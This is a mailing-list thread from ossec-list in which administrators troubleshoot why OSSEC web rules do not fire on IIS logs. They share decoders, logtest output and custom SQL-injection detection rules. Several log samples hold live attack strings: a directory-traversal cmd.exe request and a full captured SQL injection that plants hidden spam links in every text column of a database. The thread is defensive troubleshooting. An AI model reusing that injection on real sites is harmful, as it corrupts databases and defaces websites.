anyone know the status of the issue where IIS logs are not able to trigger on web_rules.xml

[James Whittington]

I was just curious if anyone knew the status of the issue where IIS logs are not able to trigger on web_rules.xml?

Basically even with a correct IIS decoder in place the web rules will never trigger.

 

I came across some pretty obvious SQL Injection Attacks against IIS websites and was trying to determine why OSSEC didn’t catch those events.

 

So really there is no point to running IIS logs through OSSEC if you can’t trigger against rules.

 

I see the issue was raised here https://github.com/ossec/ossec-hids/issues/164

With possible fix here https://github.com/ossec/ossec-hids/pull/434

 

James Whittington

 

[Brent Morris]

Interesting...

I hadn't realized my IIS log files were being completely ignored.

If I put my IIS server in IIS or NCSA logging mode... They are decoded as PureFTPD logs using ossec-logtest

In W3C format - they come out like this..

**Phase 3: Completed filtering (rules).
       Rule id: '31100'
       Level: '0'
       Description: 'Access log messages grouped.

sample used..

2014-12-12 18:23:44 W3SVC1 SERVER-NAME 1.2.3.4 GET /Scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir+\ 443 - 1.2.3.4 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko 404 11 0 0

Then some of the longer ActiveSync logs are just lost on the decoder... with

**Phase 2: Completed decoding.
       No decoder matched.

It would be great to resolve this issue.  IIS keeps me up at night since it's probably our biggest liability.  Let me know how I can help.  I can provide logs (would prefer not to post them here though).

[Brent Morris]

OK - on another system I'm able to get the web_rules.xml to trigger.

I setup IIS logging on this system... in W3C format.  selected all the fields..

#Fields: date time s-sitename s-computername s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs-version cs(User-Agent) cs(Cookie) cs(Referer) cs-host sc-status sc-substatus sc-win32-status sc-bytes cs-bytes time-taken

OSSEC config on the monitored system looks like this.

<localfile>
    <location>C:\inetpub\logs\LogFiles\W3SVC1\u_ex%y%m%d.log</location>
    <log_format>iis</log_format>
</localfile>

restarted the ossec agent....  and iisreset too...

hammered on it for cmd.exe

and zoop zoop!

OSSEC HIDS Notification.
2014 Dec 12 13:01:50

Received From: (IIS8-5Server) 1.2.3.4->\inetpub\logs\LogFiles\W3SVC1\u_ex141212.log
Rule: 31153 fired (level 10) -> "Multiple common web attacks from same souce ip."
Portion of the log(s):

2014-12-12 21:00:55 W3SVC1 IIS8-5Server 1.2.3.4 GET /cmd.exe - 443 - 2.3.4.5 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko - - IIS8-5Server 404 0 2 1477 256 0

On Friday, December 12, 2014 7:37:15 AM UTC-8, James Whittington wrote:

[Nathaniel Bentzinger]

Just a side note since you mention IIS is your biggest liability for some reason consider running the free version of dotDefender on your Windows server then monitor with OSSEC the Event logs for dotDefender. That way you can create active-responses against what dotDefender finds and it finds everything. Just be sure to update your agent’s OSSEC config to look at dotdefender event logs.

 

here are my local_rules for dotdefender:

  <rule id="100015" level="7">

    <if_sid>18100</if_sid>

    <match>Applicure|dotDefender</match>

    <description>dotDefender Alert</description>

    <group>system_error, Applicure</group>

  </rule>

 

  <rule id="100016" level="8" frequency="20" timeframe="120">

    <if_matched_sid>100015</if_matched_sid>

    <description>Multiple dotDefender Alerts</description>

    <group>system_error, Applicure</group>

  </rule>

 

  <rule id="100017" level="7">

    <if_sid>100015</if_sid>

    <match>Session Protection</match>

    <description>dotDefender Alert: Session Protection</description>

    <group>system_error, Applicure, Session_Protection</group>

  </rule>

 

  <rule id="100018" level="7">

    <if_sid>100015</if_sid>

    <match>SQL Injection|Classic SQL</match>

    <description>dotDefender Alert: SQL Injection Attempt</description>

    <group>system_error, Applicure, SQL_Injection_attempt</group>

  </rule>

 

  <rule id="100019" level="7">

    <if_sid>100015</if_sid>

    <match>Compromised/Hacked Servers</match>

    <description>dotDefender Alert: Compromised/Hacked Servers</description>

    <group>system_error, Applicure, Hacked_Servers</group>

  </rule>

 

   <rule id="100020" level="6">

    <if_sid>100015</if_sid>

    <match>Anti-Proxy Protection|Generic Anti-proxy Protection</match>

    <description>dotDefender Alert: Anti-proxy Protection</description>

    <group>system_error, Applicure, Anti-proxy_Protection</group>

  </rule>

 

IIS will just give you 4xx/5xx ins OSSEC you’d have to adjust the rules to capture everything else.

--

---
You received this message because you are subscribed to the Google Groups "ossec-list" group.
To unsubscribe from this group and stop receiving emails from it, send an email to ossec-list+...@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

[James Whittington]

“Just a side note since you mention IIS is your biggest liability for some reason consider running the free version of dotDefender on your Windows server then monitor with OSSEC the Event logs for dotDefender.”

Wow that’s a heck of a good idea, I haven’t heard of that product before but I am looking over it now.

OSSEC doesn’t really have an automated for rules to be updated, so using a product that can do that then feed the results to OSSEC sounds like a good idea.

 

I like the freedom OSSEC gives you for customization but it has been frustrating that some of the out of the box things that didn’t work especially on Windows newer than like Windows 2003.  You would think a IIS 7 decoder would have been included with the default decoders but it wasn’t last couple of times I tested it.

 

Luckily folks had posted samples of decoders for it and eventually I learned how to create one but that can be daunting learning curve for something I would have expected to just work.

Then to discover that you have been happily scanning IIS logs and it appears web rules were being ignored just adds to the frustration.

 

I understand some of the latest versions do offer eventchannel support so I keep meaning to check that out.

 

I will have to check out dotDefender however…

 

James Whittington

[Brent Morris]

Thanks for the tip!  I'll definitely check that out! 

[Brent Morris]

It should be noted that the decoders seem fine for me (and I suspect everyone else).  I think that github issue is bogus. 

Follow what I posted above...  basically, IIS Manager > Default Web Site > Logging > Log File Format:  W3C - select fields.  Check all the boxes that are not checked!!!!!  I think there were 4 that weren't checked.

Edit your OSSEC config on that box... 

<localfile>
    <location>C:\inetpub\logs\LogFiles\W3SVC1\u_ex%y%m%d.log</location>
    <log_format>iis</log_format>
</localfile>

I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly for the built-in decoders in OSSEC.  I even tested with Nexpose and they both work.

I think there may be confusion on the net on how to set this up... and with the out-of-the-box settings for W3C formatted logs, the decoders will not work.  Need to check all the boxes in the "Select Fields" dialog.

Also, thank you for bringing the IIS log file issue to my attention.  I thought OSSEC was working on the logs too!!!  I should have known they were too quiet! :)

HTH!

[Michael Starks]

On 12/12/2014 06:02 PM, Brent Morris wrote:
> It should be noted that the decoders seem fine for me (and I suspect
> everyone else). I think that github issue is bogus.

I think it is correct, but of course I could have made a mistake.

> Follow what I posted above... basically, IIS Manager > Default Web Site

>> Logging > Log File Format: W3C - select fields. *Check all the boxes
> that are not checked*!!!!! I think there were 4 that weren't checked.

>
> Edit your OSSEC config on that box...
>
> <localfile>
> <location>C:\inetpub\logs\LogFiles\W3SVC1\u_ex%y%m%d.log</location>
> <log_format>iis</log_format>
> </localfile>
>
> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly for
> the built-in decoders in OSSEC. I even tested with Nexpose and they
> both work.

Can you please post a log sample that you know decodes properly and for
which the rules hit as they should? It would be nice to get to the
bottom of this.

[James Whittington]

>> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly
>> for the built-in decoders in OSSEC. I even tested with Nexpose and
>> they both work.

>Can you please post a log sample that you know decodes properly and for which the rules hit as they should? It would be nice to get to the bottom of >this.

I haven't seen a log sample of IIS 7.5 and IIS 8.5 "flawlessly" decoding and triggering on default web rules so I was hoping someone would step up and show a decoded IIS log triggering on a web rule.

From what I can tell on a logtest only the parent decoder displays so I think it would be tricky to know for sure which decoder was used last.

I checked log samples from IIS 7, IIS 8, ISS 8 in the azure cloud and they all extract URL at least, but none seem to trigger on a simple SQL injection rule
I had been previously advised that the documentation says all log fields must be checked (Yep did that a couple of years ago but I double checked anyway).
I have also heard to just use something else to analyze IIS log events (and this is likely the best path for me at this point).

I like the flexibility OSSEC gives me but I am pretty darn sure IIS logs will not trigger on web rules which is a shame.

I guess I must be in the minority with using OSSEC to monitor IIS logs, or something in my setup is wrong, or folks just assume OSSEC is helping them watch IIS logs.

I am just putting this topic back out there in case anything new had happened with it.

James Whittington

[Brent Morris]

What does ossec-logtest respond with on the sample below?

2014-12-12 21:00:55 W3SVC1 IIS8-5Server 1.2.3.4 GET /cmd.exe - 443 - 2.3.4.5 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko - - IIS8-5Server 404 0 2 1477 256 0

There's either an issue with the IIS logs, or an issue with OSSEC.

Can you provide a sample of the log with the SQL injection that isn't picked up by web rules?  Also, could you provide the relevant portion of a URL you use to test a SQL injection attack?  I'll try it on my systems and perhaps we can compare the logs to figure out where the issue is. 

[James Whittington]

>>What does ossec-logtest respond with on the sample below?

 

>>2014-12-12 21:00:55 W3SVC1 IIS8-5Server 1.2.3.4 GET /cmd.exe - 443 - 2.3.4.5 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko - - IIS8-5Server 404 0 2 1477 256 0

 

Docodes as a common web attack:

**Phase 2: Completed decoding.

       decoder: 'windows-date-format'

       url: '/cmd.exe -'

       srcip: '2.3.4.5'

       id: '404'

 

**Phase 3: Completed filtering (rules).

       Rule id: '31104'

       Level: '6'

       Description: 'Common web attack.'

**Alert to be generated.

 

 

>>Can you provide a sample of the log with the SQL injection that isn't picked up by web rules?  Also, could you provide the relevant >>portion of a URL you use to test a SQL injection attack?  I'll try it on my systems and perhaps we can compare the logs to figure out >>where the issue is.

 

Here is an example of a recent injection attack on a IIS 7 website, we are seeing reflections of the attacks as we send error stack traces to a central system endpoint and another hardware based IDS is picking up the activity as one webserver attacking another webserver.

It’s really long but here it is :<)..

 

2014-12-20 21:34:37 W3SVC58 XXX-XXWEB-01 1.2.3.4 GET /search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c-- 80 - 173.201.216.6 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24.0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="display:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- - http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="display:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- www.somesite.org 200 0 0 36560 3942 78

 

 

Get decoded as:

**Phase 2: Completed decoding.

       decoder: 'windows-date-format'

       url: '/search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--'

       srcip: '173.201.216.6'

       id: '200'

 

**Phase 3: Completed filtering (rules).

       Rule id: '31108'

       Level: '0'

       Description: 'Ignored URLs (simple queries).'

 

The URL is decoding but should be triggering on this rule?

 

<rule id="31103" level="6">

    <if_sid>31100</if_sid>

    <url>=select%20|select+|insert%20|%20from%20|%20where%20|union%20|</url>

    <url>union+|where+|null,null|xp_cmdshell</url>

    <description>SQL injection attempt.</description>

    <group>attack,sql_injection,</group>

  </rule>

[Brent Morris]

Interesting.

So, if the IIS response starts with a 2 or 3 (200 in your case), it likely passes the test and is ignored.  There are some rules that are designed to trap the 200 OK attacks.

But those aren't triggering either..

Take your log, and change the IIS response from 200 to 404 and you get a positive result on a SQL injection attack.

Add this to your local_rules.xml

  <rule id="100169" level="10">
   <if_sid>31108</if_sid>
   <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match>
   <match>union+|where+|null,null|xp_cmdshell</match>
   <description>fix IIS matching SQL attacks</description>
  </rule>

It'll work around the issue and start matching the sql injection attacks...  

Could you submit this to github as an issue with the repeatable log data?  That'd probably work better on getting a resolution in the next release for this issue....

[James Whittington]

>>Interesting.

>>So, if the IIS response starts with a 2 or 3 (200 in your case), it likely passes the test and is ignored.  There are some rules that are designed to trap the 200 OK attacks.

>>But those aren't triggering either..

 

>>Take your log, and change the IIS response from 200 to 404 and you get a positive result on a SQL injection attack.

>>Add this to your local_rules.xml

 

>>  <rule id="100169" level="10">
>>   <if_sid>31108</if_sid>
>>    <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match>
>>    <match>union+|where+|null,null|xp_cmdshell</match>
>>    <description>fix IIS matching SQL attacks</description>
>>   </rule>

 

>>  It'll work around the issue and start matching the sql injection attacks...  

Yep that works, thanks!

 

>>  Could you submit this to github as an issue with the repeatable log data?  That'd probably work better on getting a >>  resolution in the next release for this issue....

 

Created issue https://github.com/ossec/ossec-hids/issues/472 “IIS 7/8 logs not triggering on Injection Attack Web Rule if response code matches ^2 or ^3”

 

Hopefully it’s a simple fix and not too far reaching into the core logic of how alerts are decoded..

[dan (ddp)]

If the rule above works, isnt' that the solution?

[James Whittington]

>>>Take your log, and change the IIS response from 200 to 404 and you
>>>get a positive result on a SQL injection attack.
>
>>>Add this to your local_rules.xml
>>> <rule id="100169" level="10">
>>> <if_sid>31108</if_sid>
>>>
>>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match>
>>> <match>union+|where+|null,null|xp_cmdshell</match>
>>> <description>fix IIS matching SQL attacks</description>
>>> </rule>
>>> It'll work around the issue and start matching the sql injection
>>> attacks...
>
> Yep that works, thanks!
>>> Could you submit this to github as an issue with the repeatable log
>>> data? That'd probably work better on getting a >> resolution in
>>> the next release for this issue....
> Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8
> logs not triggering on Injection Attack Web Rule if response code
> matches ^2 or ^3"

"If the rule above works, isnt' that the solution?"

Creating a rule on my local rules to catch a SQL injection attack that returns a success code is a solution/workaround for me and who ever read the post.
We created the issue on Github in hopes that the workaround can make it into the core web_rules so it becomes a solution for all users who assume OSSEC is watching over patterns of suspicious activity on their websites.

In what order are rules evaluated? Within a Group are rules evaluated by rule number or position with the file ???

With the web rules there are multiple rules that trigger on web-log rule id="31100".
In this case:
- Both rules 31108 (Ignored URLs) and 31103 (SQL Injection Attack) look for web-log rule id="31100".
- rule id="31108" (Ignored URLs (simple queries)) triggers first even though I would guess the lower rule number 31103 would be evaluated first.
- in my web_rules.xml file Rule 31108 is listed before Rule 31103 so logically the positioning of the rules seems out of order (thus my questioning how rules were evaluated

[dan (ddp)]

On Wed, Dec 24, 2014 at 10:59 AM, James Whittington
<james.whit...@gmail.com> wrote:
>>>>Take your log, and change the IIS response from 200 to 404 and you
>>>>get a positive result on a SQL injection attack.
>>
>>>>Add this to your local_rules.xml
>>>> <rule id="100169" level="10">
>>>> <if_sid>31108</if_sid>
>>>>
>>>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match>
>>>> <match>union+|where+|null,null|xp_cmdshell</match>
>>>> <description>fix IIS matching SQL attacks</description>
>>>> </rule>
>>>> It'll work around the issue and start matching the sql injection
>>>> attacks...
>>
>> Yep that works, thanks!
>>>> Could you submit this to github as an issue with the repeatable log
>>>> data? That'd probably work better on getting a >> resolution in
>>>> the next release for this issue....
>> Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8
>> logs not triggering on Injection Attack Web Rule if response code
>> matches ^2 or ^3"
>
> "If the rule above works, isnt' that the solution?"
> Creating a rule on my local rules to catch a SQL injection attack that returns a success code is a solution/workaround for me and who ever read the post.
> We created the issue on Github in hopes that the workaround can make it into the core web_rules so it becomes a solution for all users who assume OSSEC is watching over patterns of suspicious activity on their websites.
>

And I think that's great. If it gets some more testing, and people
seem happy with it we'll get it in there.

> In what order are rules evaluated? Within a Group are rules evaluated by rule number or position with the file ???
>

I think it's order in the file, but I'm not positive. I do tests every
once in a while to try and understand it, then forget my results
shortly after.

[James Whittington]

Just a quick note, according the OSSEC docs, rules with Classification of 00 are scanned before all others to avoid false positives.
http://ossec-docs.readthedocs.org/en/latest/manual/rules-decoders/rule-levels.html

I believe the http ignored urls rule (<rule id="31108" level="0">) was getting precedence over all other related rules.

By setting rule id 31108 to level "2" my test injection logtest triggered on rule 31106 (A web attack returned code 200 (success)), which would be a correct categorization.

I went ahead and put the change in place so I'll have to see if I start seeing more alerts on the IIS logs.

>> ct+a
>> se+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="di
>> se+s

>> play:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+hr
>> e
>> f="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+wh
>> e
>> n+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.r

>> n+0+then+u

>> @template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"'
>> '+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+
>> 1
>> +then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end+

>> +then++
>> char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char

>> (
>> 60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+
>> i
>> +INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEM

>> +INNER+JOIN+sysobjects+AS+o+ON+A
>> .COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE
>> +
>> like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_
>> like+L
>> ENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_ST

>> A
>> TUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c--
>> -
>> http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c
>> =
>> cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+C

>> cursor+for+select+O

>> LUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+'
>> 'div+style="display:none"''+char(62)+''abortion+pill+prescription+''+
>> c

>> har(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM
>> (

>> NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''w

>> w
>> w.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@''
>> ,char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''
>> online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abort
>> i
>> on+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abort

>> on+i

>> on+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM

>> on++
>> sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+IN
>> sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+F
>> ORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1
>> )
>> +and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHA
>> +and+R
>> ACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;w
>> h
>> ile+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;c
>> ile+l